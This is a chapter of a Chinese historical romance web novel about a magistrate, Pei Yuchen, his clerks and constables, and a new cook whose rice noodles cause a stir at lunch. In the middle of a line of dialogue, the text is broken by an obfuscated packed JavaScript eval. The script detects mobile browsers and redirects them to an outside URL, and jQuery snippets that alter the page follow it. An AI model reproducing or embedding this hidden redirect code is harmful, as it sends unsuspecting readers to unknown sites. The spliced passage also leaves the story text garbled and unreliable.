青竹一听这话,立马解释:“大人,今日的午膳是由新来的厨娘做的鱼丸鸡汤米线,味道自是不同寻常,而且这位厨娘是专门为县令大人做膳食的,错过这次可不一定能再尝到了。” 梁捕头满脸不信的样子,嘲笑道:“小青竹,你可真没吃过好东西,一碗米线就能叫你吹上天。” 青竹撇撇嘴:“不信你问裴大人。” 众人的表情精彩纷呈,他们想不到平日里无欲无求、一心为民的县令大人会沉迷于口腹之欲。 陈县丞神色复杂,裴县令文采斐然、满腹经纶,他打心底里欣赏这位新科状元,未曾想这位才子对吃食情有独钟,这位小辈高大的形象在陈县丞心里碎掉了。 裴昱臣起身理了理衣摆,没有理会他们惊异的表情,而是淡声道:“本官饥肠辘辘,先行一步。” 县令大人步履匆匆,掀起一阵清风,不明真相的人还会以为出了什么大案子呢。 堂中剩下的人面面相觑,好一会没反应过来,裴大人竟然就这么丢下他们走了。 “额,大人可能是真饿了……”陈县丞出言为其找补,“老夫也略感饥饿,也先去膳房用饭了。” 其他人纷纷出声附和,接二两三地走了出去。 此时的膳房十分热闹,衙役们都没有坐在座位上,而是围在打饭的长桌前争抢。 “别挤我,别挤我,我的米线要撒啦!” “这米线太少了,完全不够吃呀。” “嘿,你这伙夫,怎么给我最少的那碗。” “朱师傅,再给我来一碗吧。” 裴昱臣一进膳房就瞧见这一幕,紧随他而来的官吏们傻眼了,他们万万想不到有一日县衙的伙食还能如此受欢迎,当真是开了眼了。 “我的娘啊,这伙人都疯了不成?”梁捕头瞠目结舌。 “这……这是因为大人您的厨娘吗?”陈县丞也没有见过这副场面,欲言又止地向身旁的裴昱臣求证。 裴昱臣轻轻点头,淡定道:“大惊小怪。”他的眼神带着一丝自满和神气,仿佛在说我挑中的人自是极好的。 “裴大人,你来了,快来尝尝我做的鱼丸鸡汤米线,我特意为您留了一大碗。”云楚沅从被围得水泄不通的长桌后探出身子,朝站在门口的裴昱臣招了招手。 一石激起千层浪。 “云姑娘,这不公平,为何裴县令的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725966|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多?” “就是呀,云姑娘偏心,是不是裴大人长得俊,有优待啊。” “裴县令哪里吃得下啊,不如分我一半吧。” “云姑娘,云姑娘,你对未来夫婿有什么要求?样貌好还是品行佳?有学问还是会武艺?” “姑娘你看我怎么样,我长相不差,吃苦能干,家中父母健在,有兄弟姐妹四人,皆是和善之人。” 这群汉子越说越离谱,竟开始推荐起自己来了,云楚沅哭笑不得。 黑着脸的裴昱臣沉声道:“够了,不得对云姑娘无礼。” 衙役们这才偃旗息鼓,遗憾地离开了长桌。 裴昱臣在众人羡慕的眼神中,泰然自若地走过去,端起一大碗米线,“吸溜吸溜”吃了起来,向来讲究食不言寝不语的裴昱臣,竟有意无意地发出声响,引得众人垂涎欲滴。 陈县丞也端了一碗来吃,不尝不知道,一尝吓一跳,这鱼丸鸡汤米线打破了他们固有的认知,好吃到他们不知用什么语言来描绘,最后只能说一声,绝了。 先前还唧唧歪歪的梁铺头彻底没了声音,他正拼命往嘴里倒米线,还未嚼烂就吞了下去,众人纷纷侧目,暗骂一句暴殄天物。 云楚沅看着他们如此喜爱她做的膳食,脸上露出笑容,把美食吃得一干二净,就是对厨子最大的夸赞。 午膳过后,裴昱臣不急着离开,而是与云楚沅交谈了起来。 “云姑娘,县衙里住的可还舒心?” “承蒙大人关怀,西院环境清幽,器物齐全,还有丫鬟帮忙洒扫,我一切都好。” “那就好,若有缺的东西,你可以吩咐下人去置办,或者去找青竹也行。”裴昱臣给了她极大的权力,这县衙里除了他能使唤下人,云楚沅算第二个。 “多谢裴大人,小女子不胜感激。”云楚沅微微屈膝,双手轻轻搭在左腰处,行了一礼,姿态柔美,尽显端庄。 裴昱臣将她虚扶起身,视线落在云楚沅身后的小丫头身上,她眨着大眼,正好奇地望着他,“这位是?” 云楚沅的手放到小妹的后背上,将她往前推了两步,“这是我家中的小妹,名唤楚清,我父母双亡,小妹无人照料,遂带在身边。” 云楚清有样学样,学着云楚沅行礼,“裴大人安好。” 来之前,哥哥叮嘱过她,到了县衙要谨言慎行,千万不能冲撞了大人物,也不要给长姐添麻烦,云楚清时刻谨记,无事时也不会踏出房门半步,收起了在小渔村四处撒野的性子。 裴昱臣点点头,“小丫头瞧着乖巧,你们若是住一间房太挤,可以再收拾出一间屋子来住,西院没有旁人,你可以随意安排。” 云楚沅心中一喜,裴县令人还怪好嘞,本来还想着她们姐妹俩住一起就成了,结果裴大人主动开口为小妹安排住所,这便宜不占白不占。 为节省开支,裴昱臣遣散了县衙内不少丫鬟和小厮,这西院空着也是空着,能让他的小厨娘顺心一些,也算是物尽其用。